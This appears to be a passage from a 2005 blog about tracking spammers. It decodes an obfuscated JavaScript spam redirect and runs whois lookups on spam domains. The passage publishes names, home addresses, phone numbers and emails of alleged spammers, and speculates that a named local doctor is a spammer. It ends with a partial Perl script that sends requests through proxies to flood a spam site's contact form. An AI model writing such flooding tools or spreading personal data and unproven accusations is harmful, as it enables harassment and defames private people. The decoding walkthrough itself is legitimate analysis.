"> Hj </span>0 tabI<span style=3D" =<br />float : right "> gu </span>ets)</FONT></DIV><br /><br /><DIV><FONT face=3DArial size=3D3></FONT> </DIV><br /><DIV><FONT face=3DArial size=3D3>And m<span style=3D" float : right "> =<br />5K </span>any other <A =<br />href=3D"http://pyp44.miltsuil.com">http://pyp44.miltsuil.com</A></FONT></=<br />DIV></BODY></HTML><br />------=_NextPart_000_0001_01C643EE.9075E240--<br /></pre><br /><br />The link leads to the miltsuil.com site and aside from a simple redirect the entire operation is straighforward. a trip to SamSpade yields the following:<br /><br /><pre><br />Server Used: [ whois.yesnic.com ]<br /><br />miltsuil.com = [ 59.148.144.203 ] <br /> ----------------------------------------------- <br /> Queried Domain Information as follows <br /> ----------------------------------------------- <br /> Domain Name : miltsuil.com <br /> : :Registrant: : <br /> Name : Richard Carpenter <br /> Email : ostalana@yahoo.com<br /> <br /> Address : 824 S. 295th PL <br /> Zipcode : 98003 <br /> Nation : US <br /> Tel : 253-941-4749 <br /> Fax : <br /> : :Administrative Contact: : <br /> Name : Richard Carpenter <br /> Email : ostalana@yahoo.com<br /> <br /> Address : 824 S. 295th PL <br /> Zipcode : 98003 <br /> Nation : US <br /> Tel : 253-941-4749 <br /> Fax : <br /> : :Technical Contact: : <br /> Name : Richard Carpenter <br /> Email : ostalana@yahoo.com<br /> <br /> Address : 824 S. 295th PL <br /> Zipcode : 98003 <br /> Nation : US <br /> Tel : 253-941-4749 <br /> Fax : <br /> : :Name Servers: : <br /> ns0.acorande.com <br /> ns0.enanger.com <br /> : :Dates & Status: : <br /> Created Date 2006-03-07 16: 02: 33 EST <br /> Updated Date 2006-03-07 16: 02: 33 EST <br /> Valid Date 2007-03-07 16: 02: 33 EST <br /> Status ACTIVE <br /></pre><br /><br />It's creepy to see a real name and address. I search for the name and phone number listed only to find a list of Family Doctors in WA! <a href="http://washington.doctorsrealm.com/familypractice/WA/FederalWay.html"> See list here </a><br><br /><pre><br />Carpenter, Richard M<br />30809 1st Ave S<br />Federal Way, WA 98003-0000<br /></pre><br /><br><br /><br /><pre><br />Phonebook results for 253-941-4749<br /> E Carpenter, (253) 941-4749, , Federal Way, WA 98003<br /></pre><br /><br />Either this is a very well put together frame (do people get framed for spam??) or this doctor has decided to supplement his income. It's possible since a doctor could get away with creating false prescriptions by the thousands. A doctor in the east coast (New York?) was busted for this last year. But what idiot would attempt this today??<br><br />I'm keeping watch over this server and will report any findings. I may have 'scoop' on this one :), the DNS record is barely 48 hours old!<br /><br />Update: I think this is a setup by Chinese spammers. It was just way to easy and that bugged me from the start. A traceroute shows this<br /><br /> 4 ge-0-1-0-030.br2.qcy1.ma.gnaps.net (199.232.44.141) 6.683 ms 6.390 ms 6.565 ms<br /> 5 POS3-0.GW5.BOS4.ALTER.NET (208.192.182.173) 8.11 ms 7.466 ms 8.186 ms<br /> 6 0.so-2-0-0.CL1.BOS4.ALTER.NET (152.63.25.70) 8.315 ms 23.281 ms 21.669 ms<br /> 7 0.so-4-0-0.XL1.SAC1.ALTER.NET (152.63.53.245) 98.949 ms 96.628 ms 102.104 ms<br /> 8 POS6-0.IG3.SAC1.ALTER.NET (152.63.54.121) 93.654 ms 106.122 ms 98.970 ms<br /> 9 hkbn-gw.customer.alter.net (208.214.139.106) 268.645 ms 280.339 ms 275.420 ms<br />10 61.244.232.105 (61.244.232.105) 295.729 ms 255.630 ms 261.515 ms<br />11 61.244.232.170 (61.244.232.170) 267.802 ms 254.997 ms 256.17 ms<br />12 059148144203.ctinets.com (59.148.144.203) 262.475 ms 259.126 ms 253.566 ms<br /><br />http://www.google.com/search?hl=en&lr=&client=safari&rls=en&q=site:ctinets.com<br />shows that the citnets site is clearly from China.<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-114198884777099429?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1134017971209580442005-12-07T23:51:00.000-05:002005-12-07T23:59:31.220-05:00Welcome to the Victims sideI have been using a hosted server for the last few years. They provide me with cheap presence on the net and they even allow for lots of email address (technically unlimited). Over the last few days my "bounce account" has been flooded every morning. I didn't know what to make of it at first. Maybe someone tracked me down via this blog (not impossible) and decided to exact some revenge. Spammers are scummy people to begin with so I wouldn't put this past them. Maybe someone was just flooding me directly?<br />Today I noticed a strange pattern in the bounce messages. They all were from a specific company (which I can't name) and looked pretty legitamate. So I looked into the email (with a hex editor) and it was authentic. My heart sank as I realized I was now a victim. My mail server had been coerced into helping these assholes. Since the server is hosted there isn't much I can do from here. I don't have direct access to the mail server in question so I can't shutdown SMTP or even investigate the logs. All I can do is issue help requests and wait. I have started tracking down the multiple mirrors of this particular spam in online mailing list archives. I'm doing what I can to contact the other domain name admins who seem to have been affected.<br />This may be the final straw for me to start running my own mail server.<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-113401797120958044?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1133097700481983732005-11-27T08:07:00.000-05:002005-11-27T08:27:06.390-05:00powerful enlargementX-Account-Key: account2<br />X-UIDL: 1132365525.24507.victim.com,S=1554<br />X-Mozilla-Status: 0000<br />X-Mozilla-Status2: 00000000<br />Return-Path: <colleenia@zipmail.com.br><br />Delivered-To: victim@4<br />Received: (qmail 24497 invoked from network); 19 Nov 2005 01:58:44 -0000<br />Received: from unknown (HELO zipmail.com.br) (60.171.109.114)<br /> by victim.com with SMTP; Fri, 18 Nov 2005 20:58:44 -0500<br />Message-ID: <AC6668EB.E35C94D@zipmail.com.br><br />Date: Fri, 18 Nov 2005 07:32:47 +0800<br />From: "madonna black" <colleenia@zipmail.com.br><br />User-Agent: MOMENTUM (3.0 build(25) [Asynch])<br />X-Accept-Language: en-us<br />MIME-Version: 1.0<br />To: "Victim Victim" <victim@victim.com><br />Subject: powerful enlargement<br />Content-Type: text/plain;<br /> charset="us-ascii"<br />Content-Transfer-Encoding: 7bit<br /><br />Male enhancement is achieving your goals of becoming a better man<br /><br />90% of males were interested in improving their sexual stamina,<br />performance, and the size of their manhood. Are you one of the 90%?<br /><br />You guys have made my dreams come true. I have been self-conscience for as<br />long as I can remember. I did not want to shower with other guys growing up,<br />because I was embarrassed. Not only has your system increased the size of my<br />manhood while erect, but it has helped my size while flaccid as well. I hang<br />bigger, and I feel more like the man I should have been all these years. The<br />change is tremendous, I wanted to send you this note to let you know what it<br />has done for me, and of course to order more LONGZ! Leroy, Brooklyn<br /><br />check out the only Male Enhancement formula with a free DVD<br /><br />http://geocities.yahoo.com.br/clifton_smothers/?7=X2<br /><br /><br /><br />not for you, then use link above<br /><br /><br /><br /><br />The President bowed gravely. This is your invention? he asked<br />No; I'm hardly equal to that<br /><br /><br /><br /><FONT SIZE=8>Please wait while the web page loads</FONT><br /><p><FONT face=Arial size=2><FONT face="Times New Roman" size=3>In a market research, men identified three things <br />as essential elements of achieving a satisfactory erection, including:</FONT><br /><UL class=standard-text><br /> <LI>The ability to attain an erection <br /> <LI>Erection hardness <br /> <LI>The ability to maintain it for satisfactory sex </LI></UL><br /><P class=standard-text>Taken together these make up erection quality (EQ).</P><br /><P class=standard-text>Many men have been, or will be, concerned with the <br />quality of their erection at some time in their life. It may be an occasional <br />difficulty in getting or maintaining an erection; it could be an erection that <br />is just not as hard as it once was; or it may be a consistent inability to <br />achieve an erection. </P><br /><P class=standard-text>It is estimated that over 30 million men in the US have <br />experienced at least partial erectile dysfunction (ED).<!--(<a href="../references.htm#7">7</a>)--> You are not alone if you <br />experience a loss of erectile function.</P><br /><P class=standard-text>Fortunately, if you've noticed changes in your erection <br />there is something you can do about it, talk to your <br />doctor.</P></FONT><br /><br />The technique used by this spammer is called obfusication and we have been talking about this a lot in this particular blog. A quick refresher for those who are a little rusty on the unescape javascript function can be found here<br /><br />JavaScript unescape<br />Answer: To convert a string from URL-encoded form, use the JavaScript function<br />unescape(string) . This function works as follows: if the string contains ...<br />www.javascripter.net/faq/unescape.htm - 3k - Cached - Similar pages<br /><br />eval(unescape("\x76\x61\x72\x25\x32\x30\x55\x52\x49\x25\x33\x42\x25\x30\x44\x25<br />\x30\x41\x76\x61\x72\x25\x32\x30\x53\x43\x52\x49\x50\x54\x5F\x4E\x41\x4D\x45\x25<br />\x33\x42\x25\x30\x44\x25\x30\x41\x76\x61\x72\x25\x32\x30\x51\x55\x45\x52\x59\x5F<br />\x53\x54\x52\x49\x4E\x47\x25\x33\x42\x25\x30\x44\x25\x30\x41\x76\x61\x72\x25\x32<br />\x30\x5F\x47\x45\x54\x25\x33\x44\x6E\x65\x77\x25\x32\x30\x41\x72\x72\x61\x79\x25<br />\x32\x38\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x66\x75\x6E\x63\x74\x69<br />\x6F\x6E\x25\x32\x30\x5F\x63\x67\x69\x5F\x70\x61\x72\x73\x65\x5F\x61\x72\x67\x73<br />\x25\x32\x38\x25\x32\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x76\x61<br />\x72\x25\x32\x30\x69\x25\x32\x43\x74\x6D\x70\x25\x32\x43\x74\x6D\x70\x32\x25\x32<br />\x43\x74\x6D\x70\x33\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x72\x79<br />\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x55\x52\x49\x25\x33\x44\x6C\x6F<br />\x63\x61\x74\x69\x6F\x6E\x2E\x68\x72\x65\x66\x25\x33\x42\x25\x30\x44\x25\x30\x41<br />\x25\x30\x39\x74\x6D\x70\x25\x33\x44\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x2E\x73\x65<br />\x61\x72\x63\x68\x2E\x73\x75\x62\x73\x74\x72\x25\x32\x38\x31\x25\x32\x43\x6C\x6F<br />\x63\x61\x74\x69\x6F\x6E\x2E\x73\x65\x61\x72\x63\x68\x2E\x6C\x65\x6E\x67\x74\x68<br />\x2D\x31\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x6D\x70<br />\x32\x25\x33\x44\x74\x6D\x70\x2E\x73\x70\x6C\x69\x74\x25\x32\x38\x25\x32\x32\x25<br />\x32\x36\x25\x32\x32\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39<br />\x66\x6F\x72\x25\x32\x38\x69\x25\x33\x44\x30\x25\x33\x42\x69\x25\x33\x43\x74\x6D<br />\x70\x32\x2E\x6C\x65\x6E\x67\x74\x68\x25\x33\x42\x69\x2B\x2B\x25\x32\x39\x25\x37<br />\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x74\x6D\x70\x33\x25\x33\x44<br />\x74\x6D\x70\x32\x25\x35\x42\x69\x25\x35\x44\x2E\x73\x70\x6C\x69\x74\x25\x32\x38<br />\x25\x32\x32\x25\x33\x44\x25\x32\x32\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30<br />\x41\x25\x30\x39\x25\x30\x39\x5F\x47\x45\x54\x25\x35\x42\x74\x6D\x70\x33\x25\x35<br />\x42\x30\x25\x35\x44\x25\x35\x44\x25\x33\x44\x74\x6D\x70\x33\x25\x35\x42\x31\x25<br />\x35\x44\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44<br />\x25\x30\x41\x25\x30\x39\x25\x37\x44\x63\x61\x74\x63\x68\x25\x32\x38\x65\x25\x32<br />\x39\x25\x37\x42\x61\x6C\x65\x72\x74\x25\x32\x38\x65\x2E\x64\x65\x73\x63\x72\x69<br />\x70\x74\x69\x6F\x6E\x25\x32\x39\x25\x33\x42\x25\x37\x44\x25\x30\x44\x25\x30\x41<br />\x25\x37\x44\x25\x30\x44\x25\x30\x41\x5F\x63\x67\x69\x5F\x70\x61\x72\x73\x65\x5F<br />\x61\x72\x67\x73\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x76<br />\x61\x72\x25\x32\x30\x71\x25\x32\x30\x25\x33\x44\x25\x32\x30\x25\x32\x32\x37\x25<br />\x32\x32\x25\x33\x42\x25\x30\x44\x25\x30\x41\x69\x66\x25\x32\x38\x5F\x47\x45\x54<br />\x25\x35\x42\x71\x25\x35\x44\x25\x32\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25<br />\x30\x39\x76\x61\x72\x25\x32\x30\x70\x72\x65\x66\x69\x78\x25\x32\x30\x25\x33\x44<br />\x25\x32\x30\x25\x32\x37\x68\x74\x74\x70\x25\x33\x41\x2F\x2F\x77\x77\x77\x2E\x25<br />\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x64\x6F\x63\x75\x6D\x65<br />\x6E\x74\x2E\x74\x69\x74\x6C\x65\x25\x33\x44\x25\x32\x32\x4C\x6F\x6E\x67\x25\x32<br />\x30\x4D\x61\x6C\x65\x25\x32\x30\x45\x6E\x68\x61\x6E\x63\x65\x6D\x65\x6E\x74\x25<br />\x32\x32\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x76\x61\x72\x25\x32\x30<br />\x74\x64\x6F\x6D\x61\x69\x6E\x73\x25\x32\x30\x25\x33\x44\x25\x32\x30\x6E\x65\x77<br />\x25\x32\x30\x41\x72\x72\x61\x79\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x30\x44<br />\x25\x30\x41\x25\x30\x39\x74\x64\x6F\x6D\x61\x69\x6E\x73\x25\x35\x42\x74\x64\x6F<br />\x6D\x61\x69\x6E\x73\x2E\x6C\x65\x6E\x67\x74\x68\x25\x35\x44\x25\x33\x44\x25\x32<br />\x37\x6C\x6F\x77\x70\x72\x69\x63\x65\x73\x6F\x6E\x70\x6C\x61\x74\x69\x6E\x75\x6D<br />\x73\x2E\x63\x6F\x6D\x2F\x6C\x7A\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41<br />\x25\x30\x39\x74\x64\x6F\x6D\x61\x69\x6E\x73\x25\x35\x42\x74\x64\x6F\x6D\x61\x69<br />\x6E\x73\x2E\x6C\x65\x6E\x67\x74\x68\x25\x35\x44\x25\x33\x44\x25\x32\x37\x6F\x75<br />\x72\x62\x65\x73\x74\x70\x72\x6F\x6D\x6F\x74\x69\x6F\x6E\x73\x73\x69\x74\x65\x2E<br />\x63\x6F\x6D\x2F\x6C\x67\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30<br />\x39\x76\x61\x72\x25\x32\x30\x64\x6F\x6D\x61\x69\x6E\x5F\x69\x6E\x64\x65\x78\x25<br />\x32\x30\x25\x33\x44\x25\x32\x30\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32<br />\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x25\x32<br />\x30\x2A\x25\x32\x30\x74\x64\x6F\x6D\x61\x69\x6E\x73\x2E\x6C\x65\x6E\x67\x74\x68<br />\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x76\x61\x72\x25\x32<br />\x30\x64\x6F\x6D\x61\x69\x6E\x5F\x74\x6F\x25\x32\x30\x25\x33\x44\x25\x32\x30\x74<br />\x64\x6F\x6D\x61\x69\x6E\x73\x25\x35\x42\x64\x6F\x6D\x61\x69\x6E\x5F\x69\x6E\x64<br />\x65\x78\x25\x35\x44\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6C\x6F\x63<br />\x61\x74\x69\x6F\x6E\x2E\x68\x72\x65\x66\x25\x33\x44\x70\x72\x65\x66\x69\x78\x25<br />\x32\x30\x2B\x25\x32\x30\x64\x6F\x6D\x61\x69\x6E\x5F\x74\x6F\x25\x32\x30\x2B\x25<br />\x32\x30\x25\x32\x32\x2F\x25\x32\x32\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37<br />\x44"));<br /><br />First Let's break apart the text glob into individual characters:<br /><br /><pre><br />my $text = '\x76\x61\x72\x25\x32\x30\x55\x52'; ##snipped for formatting<br />my @characters = split(/\\x/,$text);<br /><br />foreach my $char (@characters)<br />{<br /> print "$char ";<br />}<br /></pre><br />this will give us something like this<br />76 61 72 25 32 30 55 52 49 25 33 42 25 30 44 25 30 41 76 ...<br /><br />Notice that $text is using single quotes and not double. Using double quotes will interpret some of the results for us but not all.<br /><br />old value: 'var%20URI%3B%0D%0Avar%20SCRIPT_NAME%3B%0D%0Avar%20QUERY_STRING%3B%0D%0Avar<br />%20_GET%3Dnew%20Array%28%29%3B%0D%0Afunction%20_cgi_parse_args%28%29%7B%0D%0A<br />%09var%20i%2Ctmp%2Ctmp2%2Ctmp3%3B%0D%0A%09try%7B%0D%0A%09URI%3Dlocation.href<br />%3B%0D%0A%09tmp%3Dlocation.search.substr%281%2Clocation.search.length-1%29%3B<br />%0D%0A%09tmp2%3Dtmp.split%28%22%26%22%29%3B%0D%0A%09for%28i%3D0%3Bi%3C<br />tmp2.length%3Bi++%29%7B%0D%0A%09%09tmp3%3Dtmp2%5Bi%5D.split%28%22%3D%22%29%3B<br />%0D%0A%09%09_GET%5Btmp3%5B0%5D%5D%3Dtmp3%5B1%5D%3B%0D%0A%09%7D%0D%0A%09%7Dcatch<br />%28e%29%7Balert%28e.description%29%3B%7D%0D%0A%7D%0D%0A_cgi_parse_args%28%29<br />%3B%0D%0Avar%20q%20%3D%20%227%22%3B%0D%0Aif%28_GET%5Bq%5D%29%7B%0D%0A%09var<br />%20prefix%20%3D%20%27http%3A//www.%27%3B%0D%0A%09document.title%3D%22Long<br />%20Male%20Enhancement%22%3B%0D%0A%09var%20tdomains%20%3D%20new%20Array%28%29<br />%3B%0D%0A%09tdomains%5Btdomains.length%5D%3D%27lowpricesonplatinums.com/lz<br />%27%3B%0D%0A%09tdomains%5Btdomains.length%5D%3D%27ourbestpromotionssite.com/lg<br />%27%3B%0D%0A%09var%20domain_index%20%3D%20Math.floor%28Math.random%28%29%20*<br />%20tdomains.length%29%3B%0D%0A%09var%20domain_to%20%3D%20tdomains%5Bdomain_index<br />%5D%3B%0D%0A%09location.href%3Dprefix%20+%20domain_to%20+%20%22/%22%3B%0D%0A%7D'<br /><br />Ok on second thought it may be better to just enclose them in double quotes and get it over with. The unpacking reveals the same code. It's early for me.<br /><br /><pre><br />use strict;<br />my $text=''; ### stuff the hex encoded values from earlier in here <br />my @characters = split(/\\x/,$text);<br /><br />foreach my $char (@characters)<br />{<br /> print pack("C", hex($char))<br />}<br /></pre><br />I output the results into a file called spam.decoded.htm<br /><br />There is a location.href in there which will take us to the target spam sites. The double coding is starting to annoy me so let's get everything "rendered"<br /><br />PERL is powerful for it's simple elegance. If you ever feel that the solution is getting to complicated it likely IS.<br /><br /><pre><br />use strict;<br /><br />open(SPAM,"< spam.decoded.htm");<br />my $text = <SPAM>;<br />close(SPAM);<br /><br />$text=~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;<br />print $text;<br /></pre><br /><br />This produces the raw code that the spammer tried so hard to hide from prying eyes.<br />For a javascript redirect it's fairly complex. <br /><pre><br />var URI;<br />var SCRIPT_NAME;<br />var QUERY_STRING;<br />var _GET=new Array();<br />function _cgi_parse_args(){<br /> var i,tmp,tmp2,tmp3;<br /> try{<br /> URI=location.href;<br /> tmp=location.search.substr(1,location.search.length-1);<br /> tmp2=tmp.split("&");<br /> for(i=0;i<tmp2.length;i++){<br /> tmp3=tmp2[i].split("=");<br /> _GET[tmp3[0]]=tmp3[1];<br /> }<br /> }catch(e){alert(e.description);}<br />}<br />_cgi_parse_args();<br />var q = "7";<br />if(_GET[q]){<br /> var prefix = 'http://www.';<br /> document.title="Long Male Enhancement";<br /> var tdomains = new Array();<br /> tdomains[tdomains.length]='lowpricesonplatinums.com/lz';<br /> tdomains[tdomains.length]='ourbestpromotionssite.com/lg';<br /> var domain_index = Math.floor(Math.random() * tdomains.length);<br /> var domain_to = tdomains[domain_index];<br /> location.href=prefix + domain_to + "/";<br /></pre><br /><br />this may end up as a two part post so I can spend some more time analyzing the javascript above. I dug into the domain names presented and here is what I found<br /><br /><table><br /><tr><br /><td><br /><br />Domain name: LOWPRICESONPLATINUMS.com<br />Status:lock<br /><br />Registrant:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br />Administrative Contact:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br />Technical Contact:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br />Billing Contact:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br /><br />Nameserver Information:<br />ns1.lowpricesonplatinums.com<br />ns2.lowpricesonplatinums.com<br /><br />Create: 2005-11-03 14:26:47<br />Update: 2005-11-16<br />Expired: 2006-11-03<br /></td><br /><td><br /><br />Domain name: ourbestpromotionssite.com<br />Status:lock<br /><br />Registrant:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br />Administrative Contact:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br />Technical Contact:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br />Billing Contact:<br />Yongqi ZHANG Yongqi ZHANG syndey_heartilly@yahoo.com<br />+86.2884375193 +86.2884375193<br />37 Wugui Qiao<br />??? ??? 610038<br />CN<br /><br /><br /><br />Nameserver Information:<br />ns1.ourbestpromotionssite.com<br />ns2.ourbestpromotionssite.com<br /><br />Create: 2005-11-03 14:26:58<br />Update: 2005-11-16<br />Expired: 2006-11-03<br /></td><br /></tr><br /></table><br /><br />I become very sad once I see it's a Chinese site involved. I know there is essentially nothing that can be done at this point. No point in even trying to track down Zhang Yong Qi<br />The syndey_heartilly@yahoo.com address is likely a throw away account but send a note anyway to let Yong Qi know that Spam sucks.<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-113309770048198373?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1128243435884268572005-10-02T04:41:00.000-04:002005-10-11T23:06:27.996-04:00cheat adsense[spammed to my blog]<br />I have been to your site and I too am working very hard at cheat adsense to increase my revenue. I am also looking into many NEW ways to utilize the design to further direct people to follow my ads.<br />cheat adsense <br /><br />Human stupidity always amazes me. Who would be dumb enough to spam a blog whose sole purpose is to track down spammers? DEAN HARTMANN is such a man. Dean has taken up the challenge of being the most idiotic person on the planet and I think he's doing quite well at it. I had three comments on my blog, which I doubt very many people even read, from Dan peddling some adsense scheme. I traced his link (http://www.bloglinkbuilder.com/profittips) via whois to <a href="http://www.whois.net/whois.cgi2?d=bloglinkbuilder.com">SYC Enterprises</a>. I haven't done much research on this "business" but it's linked to a bunch of spamming related schemes. Most of the pages are already <a href="http://64.233.167.104/search?q=cache:SVY8AMvVIfgJ:www.syc-enterprises.com/majicnotifier.htm+%22SYC+Enterprises%22&hl=en"> down </a> but thankfully there are <a href="http://www.google.com/search?hl=en&lr=&q=+site:www.syc-enterprises.com+%22SYC+Enterprises%22"> google caches</a>. Could <a href="http://www.jvseminarphotos.com/JV%20Seminar%20Attendee%20group%20photos%20web/pages/JV%20Seminar%20Group%20Photos-al.htm"> this </a> be our prized idiot? It's possible, the page is hosted on a site regarding "joint marketing" efforts. Apparently Dan believes that he is simply marketing via the Internet and not polluting it with worthless crap. This isn't the first time for Dan either. He is listed on <a href="http://www.spamwarden.com/ReportSpam.php3?cid=1&oid=680525&onm=DEAN+HARTMANN"> Spam Warden </a> who shows he's affliated with The SFI Marketing Group. <br />SFI claims to have BBB membership so if your the victim of some of their new "marketing" efforts perhaps you should drop the BBB a line to let them know what Dean is up to. No perl code in this post. I just wanted to track down the moron who spammed my blog.<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-112824343588426857?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1126902582382512802005-09-16T16:28:00.000-04:002005-09-16T17:03:29.623-04:00Replica Watches for Low PricesReturn-Path: <t_m_bryant_74@freesurf.ch><br />Delivered-To: spam@victim<br />Received: (qmail 4047 invoked from network); 16 Sep 2005 07:39:24 -0000<br />Received: from unknown (HELO ath.forthnet.gr) (218.2.113.9)<br /> by loop.phpwebhosting.com with SMTP; 16 Sep 2005 07:39:24 -0000<br />Received: from 149.140.93.179 by smtp.freesurf.ch;<br /> Fri, 16 Sep 2005 07:35:04 +0000<br />Message-ID: <4cfb01c5ba91$3816de36$68078028@ath.forthnet.gr><br />From: "Tammy M. Bryant" <t_m_bryant_74@freesurf.ch><br />To: spam@victim<br />Subject: Replica Watches for Low Prices<br />Date: Fri, 16 Sep 2005 15:34:50 +0800<br />MIME-Version: 1.0<br />X-Priority: 3<br />X-MSMail-Priority: Normal<br />X-Mailer: Microsoft Outlook Express 6.00.2800.1158<br />X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165<br />Content-Type: text/plain;<br /> charset="iso-8859-1"<br />Content-Transfer-Encoding: 8bit<br /><br />Do you want a high quality replica?<br /><br />In our online store you can buy replicas of Rolex watches and<br />other brands. They look and feel exactly like the real thing.<br /><br />- We have 20+ different brands in our selection<br />- Free shipping if you order 5 or more<br />- Save up to 40% compared to the cost of other replicas<br />- Standard Features:<br /> - Screw-in crown<br /> - Unidirectional turning bezel where appropriate<br /> - All the appropriate rolex logos, on crown and dial<br /> - Heavy weight<br /><br />Visit us: http://rlox.com/<br /><br />Best regards,<br />Fredrick Steiner<br /><br /><br />No thanks: http://rlox.com/z.php<br /><br />I took a peek at this site through lynx and saw that the site redirected you to<br />http://replica-watch-store.net<br /><br />WHOIS information for replica-watch-store.net:<br /><br />[whois.joker.com]<br />domain: replica-watch-store.net<br />owner: Luis Alberto<br />email: admin@newbiemail.net<br />address: AVENIDA 6<br />address: CALLE 21/23<br />city: SAN JOSE<br />state: --<br />postal-code: CR<br />country: CR<br />phone: +506 223-24-06<br />admin-c: admin@newbiemail.net#0<br />tech-c: admin@newbiemail.net#0<br />billing-c: admin@newbiemail.net#0<br />nserver: ns1.replica-watch-store.net 221.11.134.23<br />nserver: ns2.replica-watch-store.net 221.11.134.23<br />status: lock<br />created: 2005-08-17 12:47:38 UTC<br />modified: 2005-08-18 09:36:43 UTC<br />expires: 2006-08-17 08:47:38 UTC<br />source: joker.com live whois service<br />query-time: 0.074216<br />db-updated: 2005-09-16 20:14:51<br /><br />Spamming isn't very nice Luis. And it would seem that this isn't Luis' first time doing this either. A search on Google yields some other hits on <a href="http://www.toastedspam.com/stupid/disptext/mezd.com_0001">toastedspam.com</a> where he was hawking pharmacy related goods. <br /><br />I found a contact page on his website with a form to mail him. That was very thoughtful of you. <br /><br />Here is the important code from this page<br /><form action="contact_mail.php" method="post"><br /> <tr><td class=t2>Name</td><td class=t2><input type=text name=realname value="" size=30></td></tr><br /> <tr><td class=t2>Email</td><td class=t2><input type=text name=email value="" size=30></td></tr><br /> <tr><td class=t2>Subject</td><td class=t2><input type=text name=subject value="" size=30></td></tr><br /><br /> <tr><td class=t2>Query</td><td class=t2><textarea name=comments rows=6 cols=25></textarea></td></tr><br /> <tr><td colspan=2 align=center class=t2><input type=submit value=Submit name=submit></td></tr><br /> </form><br /><br />The "action" is set to contact_mail.php and the variables are simply realname, email, subject, and then comments. Comments is where the message goes. Ok so let's whip up a simple script that will let you know how we spamming victims feel.<br /><br />The newest addition to my code is a proxy list. I'm not going to give up my IP to this scum so I'll go through proxies and play hide-n-seek like he does.<br /><br />** NOTE: you would have to supply your own list, oh and it's neutured so again if you don't know how to code this will not work for you :) **<br /><br /><br />#!/usr/bin/perl<br />## This code is covered by the GPL so feel free to reuse it according <br />## to those rules. If you are a spammer you must castrate yourself<br />## before even looking at this code. And then you are still not <br />## allowed to use it. <br /><br />use strict;<br />use LWP;<br /><br />my @proxies=('127.0.0.1','127.0.0.2');<br /><br />my $method='POST';<br />my $target='http://replica-watch-store.net/contact_mail.php';<br />my $message='INSERT YOUR MESSAGE HERE';<br /><br />&main();<br /><br /><br />sub send_request<br />{<br /><br /> my ($target,$proxy_address) = @_;<br /> my $ua = LWP::UserAgent->new;<br /> my $proxy='http://' . $proxy_address;<br /> $ua->proxy(['http'] => $proxy);<br /><br /> # Create a request<br /> my $req = HTTP::Request->new($method => $target);<br /> my $yousuck="realname=".crap(30)."email=".crap(30)."subject=".crap(30)."comments=".$message;<br /> $req->content_type('application/x-www-form-urlencoded');<br /> 